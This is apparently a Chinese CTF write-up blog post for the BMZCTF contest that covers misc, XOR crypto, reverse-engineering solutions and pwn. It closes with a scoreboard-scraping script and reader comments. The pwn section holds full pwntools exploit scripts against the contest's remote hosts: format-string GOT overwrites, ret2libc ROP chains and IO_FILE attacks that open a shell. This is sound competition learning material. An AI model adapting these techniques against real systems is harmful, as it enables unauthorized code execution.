misc
MISC_签到题
关注公众号即可获得flag
MISC_你猜猜flag
下载得到一个exe程序,分离得到一个zip压缩包。
拖入ida得到解压密码,解压后得到mdb文件,百度搜索到mdb爆破程序进行爆破,爆破后成功得到flag
Crypto
Xor
xored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']
s1 = ""
s2 = ""
a_list = [chr(ord(a) ^ ord(b)) for a,b in zip(s1, s2)]
print(a_list)
print("".join(a_list))
据说是原题,我是用爆破的方法做的。
import string
xored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']
d = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']
for i in string.printable:
for j in string.printable:
for k in string.printable:
s2 = i + j + k
for l in range(len(xored)):
d[l] = chr(ord(xored[l]) ^ ord(s2[l % 3]))
s = "".join(d)
if "ctf" in s:
print(s)
Reverse
逆向_RE1
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4[30]; // [rsp+0h] [rbp-90h]
unsigned int v5; // [rsp+78h] [rbp-18h]
int m; // [rsp+7Ch] [rbp-14h]
int l; // [rsp+80h] [rbp-10h]
int k; // [rsp+84h] [rbp-Ch]
int j; // [rsp+88h] [rbp-8h]
int i; // [rsp+8Ch] [rbp-4h]
puts("Hello,Reverser,Lets play a game (T_T)");
for ( i = 0; i <= 27; ++i )
v4[i] = getchar();
getchar();
for ( j = 0; j <= 27; ++j )
{
v4[j] ^= 0x1A2B3Cu;
encrypt_jump(1715004LL);
}
v5 = 1714956;
for ( k = 0; k <= 27; ++k )
{
v4[k] %= (int)v5;
encrypt_jump(v5);
}
for ( l = 0; l <= 27; ++l )
{
v4[l] ^= 0x4D5E6Fu;
encrypt_jump(5070447LL);
}
for ( m = 0; m <= 27; ++m )
{
if ( bytes_0318912x[m] != v4[m] )
{
puts("Sorry~");
return 0;
}
}
puts("Congratulations!");
return 0;
}
encrypt_jump好像没用
因为有个mod,所以我就没用逆向了,我是正向爆破的。
#include <cstdio>
unsigned int a[28] = {
0x004D5E21, 0x004D5E2B, 0x004D5E3E, 0x004D5E20, 0x004D5E54, 0x004D5E1D, 0x004D5E0A, 0x004D5E35,
0x004D5E1C, 0x004D5E33, 0x004D5E01, 0x004D5E38, 0x004D5E0D, 0x004D5E22, 0x004D5E32, 0x004D5E22,
0x004D5E37, 0x004D5E2C, 0x004D5E6C, 0x004D5E38, 0x004D5E6E, 0x004D5E2C, 0x004D5E38, 0x004D5E1C,
0x004D5E28, 0x004D5E6F, 0x004D5E6E, 0x004D5E5A
};
int main()
{
for (int i = 0; i <= 27; i++)
{
for (int j = 0; j < 127; j++)
{
int k = j ^ 0x1A2B3Cu;
k %= 0x1A2B0C;
k ^= 0x4D5E6Fu;
if (k == a[i]) printf("%c", j);
}
}
return 0;
}
//flag{BMZCTF_ReUeXs3_1s_Co01}
逆向_RE2
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 a1[15]; // [rsp+0h] [rbp-80h] BYREF
int v5; // [rsp+78h] [rbp-8h]
int i; // [rsp+7Ch] [rbp-4h]
puts(&s);
v5 = 0;
for ( i = 0; i <= 26; ++i )
*(a1 + i) = getchar();
getchar();
if ( Auth(a1) == 1 )
puts("Congratulations!~");
else
puts("tryyyyy again");
return 0;
}
__int64 __fastcall Auth(__int64 *a1)
{
int v2[12]; // [rsp+8h] [rbp-C0h] BYREF
int v3[12]; // [rsp+38h] [rbp-90h] BYREF
int v4[12]; // [rsp+68h] [rbp-60h] BYREF
__int64 v5; // [rsp+98h] [rbp-30h]
_DWORD *v6; // [rsp+A0h] [rbp-28h]
_DWORD *v7; // [rsp+A8h] [rbp-20h]
int j; // [rsp+B0h] [rbp-18h]
int v9; // [rsp+B4h] [rbp-14h]
int v10; // [rsp+B8h] [rbp-10h]
int i; // [rsp+BCh] [rbp-Ch]
int v12; // [rsp+C0h] [rbp-8h]
int v13; // [rsp+C4h] [rbp-4h]
v13 = 0;
v12 = 8;
while ( v13 <= 8 )
v4[v13++] = *(a1 + v12--) ^ 0xCE2;
for ( i = 9; i <= 17; ++i )
v3[i - 9] = *(a1 + i) ^ 0xFFF;
v10 = 18;
v9 = 26;
while ( v10 <= 26 )
{
v2[v10 - 18] = *(a1 + v9) ^ 0x4EA;
++v10;
--v9;
}
v7 = SboxExchangeA(&SboxA, v4);
v6 = SboxExchangeB(SboxB, v3);
v5 = SboxExchangeC(SboxC, v2);
for ( j = 0; j <= 8; ++j )
{
if ( bytes_0x0001[j] != v7[j] )
return 0LL;
if ( bytes_0x0002[j] != v6[j] )
return 0LL;
if ( bytes_0x0003[j] != *(4LL * j + v5) )
return 0LL;
}
return 1LL;
}
_DWORD *__fastcall SboxExchangeA(__int64 *a1, __int64 *a2)
{
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i <= 8; ++i )
final_2323[i] = *(a2 + *(a1 + i));
return final_2323;
}
前面是简单的几个异或和倒序一下,后面是用Sbox做了个位置变换。
#include <cstdio>
#include <cstring>
using namespace std;
unsigned int bytes_0x0001[16] = {
0x00000C8E, 0x00000C85, 0x00000C87, 0x00000C99, 0x00000CA4, 0x00000CD1, 0x00000C83, 0x00000C8E,
0x00000C84, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000
};
unsigned int bytes_0x0002[16] = {
0x00000F9A, 0x00000F8B, 0x00000FA0, 0x00000FCF, 0x00000F8D, 0x00000FA0, 0x00000FB9, 0x00000F9E,
0x00000FA0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000
};
unsigned int bytes_0x0003[16] = {
0x0000048F, 0x00000499, 0x0000048F, 0x00000497, 0x000004DD, 0x000004B5, 0x0000049C, 0x00000482,
0x000004B8, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000
};
unsigned int SboxA[16] = {
0x00000007, 0x00000005, 0x00000002, 0x00000004, 0x00000003, 0x00000001, 0x00000006, 0x00000000,
0x00000008, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000
};
unsigned int SboxB[16] = {
0x00000002, 0x00000006, 0x00000000, 0x00000007, 0x00000004, 0x00000005, 0x00000001, 0x00000003,
0x00000008, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000
};
unsigned int SboxC[9] = {
0x00000003, 0x00000001, 0x00000006, 0x00000000, 0x00000008, 0x00000005, 0x00000002, 0x00000007,
0x00000004
};
void decode(unsigned int* endata, unsigned int* box, unsigned int* data)
{
for (int i = 0; i <= 8; i++)
{
data[box[i]] = endata[i];
}
}
int main()
{
unsigned int d1[16], d2[16], d3[16];
decode(bytes_0x0001, SboxA, d1);
decode(bytes_0x0002, SboxB, d2);
decode(bytes_0x0003, SboxC, d3);
for (int i = 0; i <= 8; i++)
{
d1[i] ^= 0xCE2;
d2[i] ^= 0xFFF;
d3[i] ^= 0x4EA;
}
for (int i = 8; i >= 0; i--) printf("%c", d1[i]);
for (int i = 0; i <= 8; i++) printf("%c", d2[i]);
for (int i = 8; i >= 0; i--) printf("%c", d3[i]);
return 0;
}
//flag{Fe3l_Fear_t0_7he_Revs}
本来都做出来了,一直交不上,后来看到有两个人一起交了,我就很纳闷去交了一下,结果就交上了。
逆向_RE3
#include <cstdio>
unsigned char unenc[] = { 4, 5, 30, 27, 9, 55, 56, 53, 43, 15, 70, 90, 85, 14, 25, 9, 78, 54, 83, 0x60, 25, 23, 19, 0x73, 25, 49, 77, 75, 29, 28, 4, 0x7A, 0x60, 110, 56, 16 };
int main()
{
char key[] = "bmz";
for (int b = 0; b <= 34; ++b) {
unenc[b + 1] ^= unenc[b];
}
for (int b = 0; b <= 34; ++b) {
unenc[b + 1] ^= unenc[b];
}
for (int b = 0; b <= 34; ++b) {
unenc[b + 1] ^= unenc[b];
}
for (int i = 0; i < 36; i++)
{
printf("%c", unenc[i] ^ key[i % 3]);
}
return 0;
}
//flag{Every0ne-0f-BMZCTF-1s-3he-Best}
用JEB看一下的话还是比较容易的,直接拿出来改一下就能用。
这道题会不会有点太简单了?
pwn
pwn1
from pwn import *
from LibcSearcher import *
r = remote('47.242.59.61', 10000)
#r = process('./pwn1')
elf = ELF('./pwn1')
context.log_level = "debug"
context.arch = 'i386'
r.sendline(fmtstr_payload(10, {elf.got['printf']: elf.plt['system']}))
r.sendline("/bin/sh\x00")
r.interactive()
pwn2
from pwn import *
from LibcSearcher import *
r = remote('47.242.59.61', 10001)
#r = process('./pwn2')
elf = ELF('./pwn2')
pop_rdi_addr = 0x0000000000400833
main_addr = 0x40076D
payload = 'a' * 0x30 + 'b' * 0x8 + p64(pop_rdi_addr) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main_addr)
r.sendlineafter("Who are you?", payload)
puts_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump("str_bin_sh")
payload = 'a' * 0x30 + 'b' * 0x8 + p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr) + p64(main_addr)
r.sendlineafter("Who are you?", payload)
r.interactive()
pwn3
这道题值得说一下,我刚开始的时候连漏洞点都没找到,以为是什么新知识。
后来发现有很快就有二血了,就想了一下会不会是我有些地方没看出来。
就调试了一下,发现每执行一次,栈都会往下偏移1个字节,利用这个就可以进行栈溢出啦。
from pwn import *
from LibcSearcher import *
#r = process('./pwn3')
r = remote('47.242.59.61', 10002)
elf = ELF('./pwn3')
context.log_level = "debug"
def smsg(send = "N", data = 'a'):
r.sendlineafter("->", data)
r.sendlineafter("Send?(Y/N)", send)
def overflow(payload):
r.sendlineafter(">", "smsg")
for i in range(0x57):
smsg()
smsg("Y", payload)
pop_rdi_addr = 0x40155b
main_addr = 0x4013FA
#gdb.attach(r)
overflow(p64(pop_rdi_addr) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main_addr))
puts_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump("str_bin_sh")
overflow(p64(pop_rdi_addr) + p64(bin_sh_addr) + p64(system_addr) + p64(main_addr))
r.interactive()
pwn4
只有单次的格式化字符串漏洞,而且是Partial RELRO。
观察发现可以溢出到canary,所以想到利用__stack_chk_fail来多次利用。
我这里修改了got表中的__stack_chk_fail,然后触发溢出,让他再回到main函数,这样可以多次利用printf来执行修改。
但是由于字节限制,所以每次只能写出两个字节,我刚开始的时候想用one_gadget,然后观察了一下各个会调用的函数,发现有个函数可以只修改两个字节来执行第三个one_gadget,然后本地打通了,但是靶机报错。
群里问了一下没人理我。
那么就只能想办法执行system了,正好结合了前段时间学到的IO_FILE的知识,发现程序退出的时候会执行_IO_flush_all_lockp,那我们可以利用这个函数来操作一下(这里不懂的可以看一下我之前写的那几篇里面有详细的介绍)
我这里找了stdin来getshell。
用于只能写入两字节,所以过程就繁琐了一些。
from pwn import *
from LibcSearcher import *
#r = process('./pwn4')
r = remote('47.242.59.61', 10003)
elf = ELF('./pwn4')
context.log_level = "debug"
context.arch = "amd64"
def format(data = 'ls\x00'):
r.sendafter("msg: ", data.ljust(0x20, '\x00'))
r.sendlineafter("input your name: ", "a")
format(fmtstr_payload(6, {elf.got['__stack_chk_fail'] : p16(0x08C5)}, write_size = "short"))
#leak
format("%23$lld")
libc_start_main_addr = int(r.recvuntil('leave', drop=True)) - 240
log.success("libc_start_main_addr: " + hex(libc_start_main_addr))
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libc_base = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump("str_bin_sh")
log.success('system_addr: ' + hex(system_addr))
stdin_addr = libc_base + libc.dump('_IO_2_1_stdin_')
log.success('stdin_addr: ' + hex(stdin_addr))
#IO_FILE_ATTACK
format(fmtstr_payload(6, {stdin_addr + 0x28 : p8(0xFF)}))
format(fmtstr_payload(6, {stdin_addr : 'sh'}, write_size = "short"))
format(fmtstr_payload(6, {stdin_addr + 0x2 : '\x00'}, write_size = "short"))
format(fmtstr_payload(6, {stdin_addr + 0x18 : p16(system_addr % 0x10000)}, write_size = "short"))
system_addr /= 0x10000
format(fmtstr_payload(6, {stdin_addr + 0x18 + 0x2 : p16(system_addr % 0x10000)}, write_size = "short"))
system_addr /= 0x10000
format(fmtstr_payload(6, {stdin_addr + 0x18 + 0x4 : p16(system_addr % 0x10000)}, write_size = "short"))
format(fmtstr_payload(6, {stdin_addr + 0xd8 : p16(stdin_addr % 0x10000)}, write_size = "short"))
format(fmtstr_payload(6, {stdin_addr + 0xd8 + 0x2 : p16((stdin_addr / 0x10000) % 0x10000)}, write_size = "short"))
r.sendline("a")
r.interactive()
pwn5
感觉格式化字符串是不是出的有点多了?
这道题我稍微看了一下,和pwn4有些类似,区别就是这里要用%n复写flag字段,达成多次利用printf的目的,不过我这个肯定不是预期,我看他还有个leak函数,我这个却直接getshell了。
不过打比赛嘛..怎么方便怎么来,我直接用pwn4的改了一下。
呜呜,这里还收到了出题者的一个红包,[谢谢师傅!.jpg],感觉自己不是预期有点不好意思了都。
from pwn import *
from LibcSearcher import *
#r = process('./pwn5')
r = remote('47.242.59.61', 10004)
elf = ELF('./pwn5')
context.log_level = "debug"
context.arch = "amd64"
def fmt(data):
r.sendlineafter(">>", "2")
r.send("%7$naaaa" + data)
#leak
r.sendlineafter("time:", "a")
fmt("%23$p")
r.recvuntil('0x')
libc_start_main_addr = int("0x" + r.recvuntil('1.', drop=True), 16) - 240
libc = LibcSearcher("__libc_start_main", libc_start_main_addr)
libc_base = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump("str_bin_sh")
log.success('system_addr: ' + hex(system_addr))
stdin_addr = libc_base + libc.dump('_IO_2_1_stdin_')
log.success('stdin_addr: ' + hex(stdin_addr))
#IO_FILE_ATTACK
fmt(fmtstr_payload(9, {stdin_addr + 0x28 : p8(0xFF)}, 4))
fmt(fmtstr_payload(9, {stdin_addr : 'sh'}, 4, write_size = "short"))
fmt(fmtstr_payload(9, {stdin_addr + 0x2 : '\x00'}, 4, write_size = "short"))
fmt(fmtstr_payload(9, {stdin_addr + 0x18 : p16(system_addr % 0x10000)}, 4, write_size = "short"))
system_addr /= 0x10000
fmt(fmtstr_payload(9, {stdin_addr + 0x18 + 0x2 : p16(system_addr % 0x10000)}, 4, write_size = "short"))
system_addr /= 0x10000
fmt(fmtstr_payload(9, {stdin_addr + 0x18 + 0x4 : p16(system_addr % 0x10000)}, 4, write_size = "short"))
fmt(fmtstr_payload(9, {stdin_addr + 0xd8 : p16(stdin_addr % 0x10000)}, 4, write_size = "short"))
fmt(fmtstr_payload(9, {stdin_addr + 0xd8 + 0x2 : p16((stdin_addr / 0x10000) % 0x10000)}, 4, write_size = "short"))
#gdb.attach(r, "b printf")
r.interactive()
总结
感觉比赛的难度还可以再提升一些,但毕竟是第一次举办嘛...
也可能是面相新人的(就像我这种QAQ),所以才会出的比较容易。
希望第二届的时候难度可以提升一些,pwn的考察范围可以更广一些(heap!heap!heap!),还有就是群里管理员最好能理我一下嘛...我一个人好尬的。
对了,希望下次可以有个rank榜单,要不然连自己第几名都不知道呢。。
不过幸亏我会python,写了个简单的程序看排名,
import requests
import json
headers = {
"Cookie": "session="
}
showTag = "BMZCTF网络安全公开赛"
questlist = []
scorelist = {}
url = "http://bmzclub.cn/api/v1/challenges"
data = requests.get(url, headers=headers).text
all_data = json.loads(data)
for i in all_data['data']:
if i['category'] == showTag:
questlist.append(i)
for i in questlist:
id = i['id']
url = "http://bmzclub.cn/api/v1/challenges/{0}/solves".format(id)
data = requests.get(url, headers=headers).text
solve_json = json.loads(data)
for j in solve_json['data']:
scorelist[j['name']] = scorelist.setdefault(j['name'], 0) + i['value']
scorelist = sorted(scorelist.items(), key=lambda kv: (-kv[1], kv[0]))
print("Rank:")
for i in scorelist:
print('{0}|{1}'.format(i[0], i[1]))
根据这里面算出来的来看,我最后好像是第三?
您好,有re的writeup吗
你好,麻烦把显示器打开@(怒)
师傅学慢点,跟不上了@(泪)@(泪)@(泪)
师傅加油!@(太开心)
看到总结的我菜哭了
可能是我运气不错啦@(小乖),你下次也可以的!
tql@(怒)
#(欢呼)